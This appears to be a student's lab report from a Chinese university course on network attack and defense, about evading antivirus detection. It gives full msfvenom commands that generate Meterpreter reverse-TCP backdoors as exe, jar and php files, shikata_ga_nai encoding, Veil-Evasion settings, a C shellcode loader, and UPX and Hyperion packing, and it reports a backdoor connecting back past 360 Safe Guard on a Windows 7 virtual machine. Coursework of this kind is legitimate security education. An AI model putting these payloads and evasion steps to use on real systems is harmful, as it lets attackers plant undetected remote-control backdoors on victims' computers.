2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践


免杀原理及基础问题回答

一、免杀原理

  • 免杀就是通过一定的手段,将文件进行“整容”,让杀软无法识别,已达到免于被杀软查杀的目的。
  • 免杀思路:(1)对病毒木马文件进行修改;(2)拓展病毒木马文件功能,甚至是攻击杀软来达到目的。

二、基础问题回答

  • 问:杀软是如何检测出恶意代码的?

    • 特征码是指杀软针对相应病毒或木马所特有的特点截取的一段二进制代码(涵盖了十六进制代码、汇编指令等)。杀软就是依靠检查文件特征码来识别一个文件是不是病毒或木马。
    • 启发式恶意软件检测:启发式指 “自我发现的能力”或“运用某种方式或方法去判定事物的知识和技能”, 是杀毒软件能够分析文件代码的逻辑结构是否含有恶意程序特征,或者通过在一个虚拟的安全环境中前摄性的执行代码来判断其是否有恶意行为
    • 基于行为的恶意软件检测:通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。
  • 问:免杀是做什么?
    • 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。
  • 问:免杀的基本方法有哪些?
    • 改变特征码

      • 只有EXE——加壳
      • 有shellcode——利用encode进行编码
      • 有源代码——用其他语言进行重写再编译
        • veil-evasion
        • 半手工
    • 改变行为
      • 通讯方式

        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存的操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码

三、免杀效果评价
利用VirusTotalVirscan,可以上传免杀处理过的程序进行检测。

返回目录


实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 实验二中使用msf生成了后门程序,使用VirusTotalVirscan这两个网站对生成的后门程序进行扫描。

  • 用VirusTotal扫描后结果如下:

  • Virscan网站的扫描结果如下:

下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测

  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中
  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.155 LPORT= -f exe > ljx-backdoor.exe

  • 进行十次编码
  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b ‘\x00’ LHOST=192.168.1.155 LPORT= -f exe > ljx-backdoor10.exe
  • 将编码十次后的可执行文件上传到VirusTotal扫描后结果如下

  • 可见多次编码对免杀没有太大的效果,原因有两点:
  1. 杀软只要盯住shikata_ga_nai解码(decoder stub)加入exe的部分。
  2. msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。

2. msfvenom生成jar文件

  • 生成java后门程序使用命令:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= x> ljx_backdoor_java.jar

  • 生成文件如下所示:

  • 扫描结果如下:

3. msfvenom生成php文件

  • 生成PHP后门程序使用命令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= x> ljx_backdoor.php

  • 生成文件如下所示:

  • 扫描结果如下:

返回目录

4. 使用veil-evasion生成后门程序及检测

安装veil

  • 因为镜像版本原因,在安装之先执行下面的指令
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • 用sudo apt-get install veil-evasion命令安装Veil
  • 之后用veil打开veil,输入y继续安装直至完成:

  • 用use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.1.155,注意此处的IP是KaliIP;

  • 设置端口,命令为:set LPORT

  • 输入generate生成文件,接着输入你想要playload的名字:veil_c_5311

  • 如上图所示,保存路径为/var/lib/veil/output/compiled/veil_c_5311.exe

  • 检测一下:

返回目录

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= -f c用c语言生成一段shellcode;

  • 创建一个文件.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 使用命令:i686-w64-mingw32-g++ .c -o .exe编译这个.c文件为可执行文件;

  • 检测结果如下图:

  • 当想要使用windows上执行该程序时,被电脑的360卫士查杀。

返回目录


任务二:通过组合应用各种技术实现恶意代码免杀

  • 使用压缩壳(UPX)
  • 给之前的20165318.exe加个壳得到sxx_upxed.exe:

  • 还是被杀软查杀了

  • 加密壳Hyperion
  1. 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  2. 进入 /usr/share/windows-binaries/hyperion/
  3. 输入命令wine hyperion.exe -v ljx_upxed.exe ljx_upxed_Hyperion.exe进行加壳:

  • 尝试一下反弹连接

  • 网页检查一下

返回目录


任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 免杀方法:先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。
  • 实验环境:对方电脑为 win7虚拟机,360安全卫士11.4.0.2003(由于我的kali问题,最后一个任务我与5329何佳伟用了同一个win7系统进行反弹连接)

  • 反弹连接结果、

返回目录


离实战还缺些什么技术或步骤?

  • 由于病毒库的更新速度非常的快,我们只有掌握更加成熟的技术来包装病毒才能不被查杀到。

  • 对于实战来说,我还需要学习更多对病毒的改造方法。

返回目录


实验遇到的问题及解决方法

在安装veil evasion的时候展开包一直失败,后来上网百度了以后才知道这个和版本有关系

输入以下代码之后问题就顺利解决了

mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

返回目录


实践总结与体会

首先那个veil太难装了总出错,一开始装了一个晚上最后还是失败了,这次实验学到了很多知识。

最重要也是最有趣的就是如何把后门软件进行改造来让它伪装骗过所有的杀毒软件,而且实验中

也让我们也见识到了中国杀毒软件的“菜”,学习永无止境!

返回目录

2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. Python3:字符串的大小写和镜像字符串(swapcase()函数,chr(),ord(),translate()函数)

    题目: 请编程实现字符串的转换:1. 将"adsdsfdndsdsdfsfdsdASDSDEDSFE18754"字符串大写变小写,小写变大写:2. 并且将字符串变为镜像字符串,例如 ...

  2. Bmob后端云学习(未完)

    Bmob后端云学习 BaaS(后端即服务:Backend as a Service)公司为移动应用开发者提供整合云后端的边界服务. 这种服务的一个代表就是Bmob后端云,BAT和亚马逊 ,都有这类产品 ...

  3. Web从入门到放弃<5>

    <1> CSS_DOM 1,structural layer 2,presentation layer 3,behavior layer style也是一个属性 <!DOCTYPE ...

  4. Easy RM to MP3 Converter栈溢出定位及漏洞利用

    本文主要是Easy RM to MP3 Converter(MFC++编写)栈溢出的定位及windows下shellcode编写的一些心得. 用到的工具及漏洞程序下载地址https://github. ...

  5. Python 爬虫 58同城

    目标站点需求分析 获取各类产品的名字,地区,时间,价格 涉及的库 BeautifulSoup,requests,time,pymongo 获取各大类产品的链接 获取单页源码 解析单页源码 保存到文件中 ...

  6. 2018年冬季寒假作业4--PTA 打印沙漏

    1.实验代码: #include<stdio.h> int main() { int i,j,k,s,t,l,n,res; char a; ]={,,,}; ;i<;i++) { s ...

  7. MySQL This function has none of DETERMINISTIC, NO SQL...错误1418 的原因分析及解决方法 (转)

    解决方法: 解决办法也有两种, 第一种是在创建子程序(存储过程.函数.触发器)时,声明为DETERMINISTIC或NO SQL与READS SQL DATA中的一个, 例如: CREATE DEFI ...

  8. [原创]基于Zynq Linux环境搭建(二)

    在此篇,我们编译UBOOT 解压: [#17#17:26:56 FPGADeveloper@ubuntu ~/Zybo_Demo]$tar zxvf *.tar.gz 在解压过程中出现下述问题 tar ...

  9. python 10大算法之一 LinearRegression 笔记

    简单的线性回归预测房价 #!/usr/bin/env python # encoding: utf-8 """ @version: @author: --*--. @fi ...

  10. python输入

    (程序是如何输入输出的) 先了解一个概念,什么是函数? 简单来说,函数就是封装了一些功能,到时候只需要写一个函数名字,就可以使用这些功能 input函数,它是输入函数,它可以将用户输入的内容当做“字符 ...